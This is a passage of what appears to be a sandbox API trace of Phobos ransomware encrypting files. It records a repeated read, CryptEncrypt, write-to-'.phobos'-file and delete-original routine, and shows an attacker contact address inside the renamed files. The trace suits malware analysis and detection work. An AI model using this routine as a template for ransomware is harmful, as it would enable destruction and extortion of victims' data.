"c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.278] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.278] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.278] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.278] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.280] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c9490) returned 1 [0045.280] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.280] ReadFile (in: hFile=0x30c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4758, lpOverlapped=0x0) returned 1 [0045.284] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760, dwBufLen=0x4760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760) returned 1 [0045.284] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4760, lpOverlapped=0x0) returned 1 [0045.285] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8e50) returned 1 [0045.285] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.285] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.285] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0045.285] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.285] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.285] CloseHandle (hObject=0x30c) returned 1 [0045.286] CloseHandle (hObject=0x328) returned 1 [0045.286] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0045.287] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.287] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.288] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=17752) returned 1 [0045.288] CloseHandle (hObject=0x328) returned 1 [0045.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0045.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.288] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.288] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.288] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.288] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.289] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c9490) returned 1 [0045.289] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.289] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4558, lpOverlapped=0x0) returned 1 [0045.318] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4560, dwBufLen=0x4560 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4560) returned 1 [0045.318] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4560, lpOverlapped=0x0) returned 1 [0045.319] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8e10) returned 1 [0045.319] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.319] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.319] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0045.319] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.319] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.319] CloseHandle (hObject=0x328) returned 1 [0045.319] CloseHandle (hObject=0x30c) returned 1 [0045.320] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0045.321] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.321] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=17752) returned 1 [0045.321] CloseHandle (hObject=0x30c) returned 1 [0045.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0045.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.322] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.322] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.322] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.328] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c9490) returned 1 [0045.328] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.328] ReadFile (in: hFile=0x30c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4558, lpOverlapped=0x0) returned 1 [0045.330] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4560, dwBufLen=0x4560 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4560) returned 1 [0045.330] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4560, lpOverlapped=0x0) returned 1 [0045.331] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8d90) returned 1 [0045.331] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.331] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.331] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.331] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.331] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.331] CloseHandle (hObject=0x30c) returned 1 [0045.331] CloseHandle (hObject=0x328) returned 1 [0045.332] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0045.333] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.333] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.333] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=14168) returned 1 [0045.333] CloseHandle (hObject=0x328) returned 1 [0045.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0045.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.333] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.334] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.334] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.334] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.335] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c9490) returned 1 [0045.335] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.335] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x3758, lpOverlapped=0x0) returned 1 [0045.349] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x3760, dwBufLen=0x3760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x3760) returned 1 [0045.350] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x3760, lpOverlapped=0x0) returned 1 [0045.350] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8e10) returned 1 [0045.350] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.350] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.350] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0045.350] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.351] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.351] CloseHandle (hObject=0x328) returned 1 [0045.351] CloseHandle (hObject=0x30c) returned 1 [0045.352] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0045.352] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.353] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.353] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18776) returned 1 [0045.353] CloseHandle (hObject=0x30c) returned 1 [0045.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0045.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.353] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.353] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.353] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.353] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.355] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c8e10) returned 1 [0045.355] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.355] ReadFile (in: hFile=0x30c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4958, lpOverlapped=0x0) returned 1 [0045.373] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4960, dwBufLen=0x4960 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4960) returned 1 [0045.373] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4960, lpOverlapped=0x0) returned 1 [0045.374] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c9490) returned 1 [0045.374] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.374] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.374] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.374] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.374] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0045.374] CloseHandle (hObject=0x30c) returned 1 [0045.374] CloseHandle (hObject=0x328) returned 1 [0045.375] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0045.376] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.376] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.376] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18776) returned 1 [0045.376] CloseHandle (hObject=0x328) returned 1 [0045.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0045.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.377] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.377] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.377] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.377] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.380] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc950) returned 1 [0045.380] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.380] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4958, lpOverlapped=0x0) returned 1 [0045.396] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4960, dwBufLen=0x4960 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4960) returned 1 [0045.396] WriteFile (in: hFile=0x314, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4960, lpOverlapped=0x0) returned 1 [0045.398] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc850) returned 1 [0045.398] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.398] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.398] CryptDestroyKey (hKey=0x10dc850) returned 1 [0045.398] WriteFile (in: hFile=0x314, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.398] CryptDestroyKey (hKey=0x10dc950) returned 1 [0045.398] CloseHandle (hObject=0x328) returned 1 [0045.398] CloseHandle (hObject=0x314) returned 1 [0045.399] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0045.400] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.400] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.401] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1150) returned 1 [0045.401] CloseHandle (hObject=0x314) returned 1 [0045.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0045.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: 